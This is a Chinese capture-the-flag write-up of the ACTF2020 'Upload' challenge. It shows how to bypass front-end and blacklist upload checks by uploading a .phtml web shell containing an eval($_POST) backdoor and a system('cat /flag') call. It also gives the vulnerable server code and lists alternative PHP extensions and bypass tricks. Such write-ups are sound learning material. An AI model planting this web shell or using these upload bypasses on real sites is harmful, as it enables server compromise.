[BUUOJ记录] [ACTF2020 新生赛]Upload
//简单的上传题,考察绕过前端Js验证,phtml拓展名的应用
打开题目点亮小灯泡后可以看到一个上传点
![[BUUOJ记录] [ACTF2020 新生赛]Upload [BUUOJ记录] [ACTF2020 新生赛]Upload](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcANxkXwejCU0N-c-AsF36lcq8uq4iJL0MPEDKu8pC53oA.png)
传一个php测试一下:
![[BUUOJ记录] [ACTF2020 新生赛]Upload [BUUOJ记录] [ACTF2020 新生赛]Upload](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcANxkXwejCU0N-c-AsF36lc9WAjitKhxuXHJmyDE6Wn8Q.png)
发现有文件拓展名检查,F12发现是Js前端验证:
![[BUUOJ记录] [ACTF2020 新生赛]Upload [BUUOJ记录] [ACTF2020 新生赛]Upload](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcANxkXwejCU0N-c-AsF36lcJPlvlncdrFFMC35MmMj-0A.png)
审查元素直接删掉,继续上传PHP文件测试:
![[BUUOJ记录] [ACTF2020 新生赛]Upload [BUUOJ记录] [ACTF2020 新生赛]Upload](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcANxkXwejCU0N-c-AsF36lcw22Elg7gS4hLGapUS6FvQA.png)
发现还是被过滤了,应该是后端还有一次验证,换成phtml文件测试,phtml文件代码如下:
GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可 <script language=‘php‘>@eval($_POST[‘ye‘]);</script> <script language=‘php‘>system(‘cat /flag‘);</script>
再次上传:
![[BUUOJ记录] [ACTF2020 新生赛]Upload [BUUOJ记录] [ACTF2020 新生赛]Upload](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcANxkXwejCU0N-c-AsF36lcmfmB7CP6UGbqmifED2kJ7Q.png)
上传成功,获得Flag
![[BUUOJ记录] [ACTF2020 新生赛]Upload [BUUOJ记录] [ACTF2020 新生赛]Upload](https://cdn.ancii.com/article/image/v1/sw/wV/kP/PkwwVsGDmjDG9swnOi7SkjVAsMQAarn73E9S3mmSmcANxkXwejCU0N-c-AsF36lcvCPHtuyFj3ZfihO4qIctUw.png)
做完之后还在想是不是也可以通过其他拓展名来绕过,Shell连上之后看了下源代码和.htaccess文件发现这道题就是考察phtml的
上传点的源码如下:
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST[‘submit‘])) {
$temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
$file_name = $_FILES[‘upload_file‘][‘name‘];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, [‘php‘, ‘php3‘, ‘php4‘, ‘php5‘])) { //这里不出所料,过滤了常见的php文件拓展名
exit(‘nonono~ Bad file!‘);
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . ‘/‘ . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = ‘Upload Failed!‘;
}
echo ‘<div style="color:#F00">‘.$msg." Look here~ ".$img_path."</div>";
}
?>再看看.htaccess文件:
<FilesMatch \.phtml$>
SetHandler application/x-httpd-php
</FilesMatch>最后总结一下CTF文件上传题中常用的php拓展名:
- 利用中间件解析漏洞绕过检查,实战常用
- 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
- %00截断绕过
- php3文件
- php4文件
- php5文件
- php7文件
- phtml文件
- phps文件
- pht文件
晚点写一篇文件上传漏洞的总结吧,就这样,啥也不是。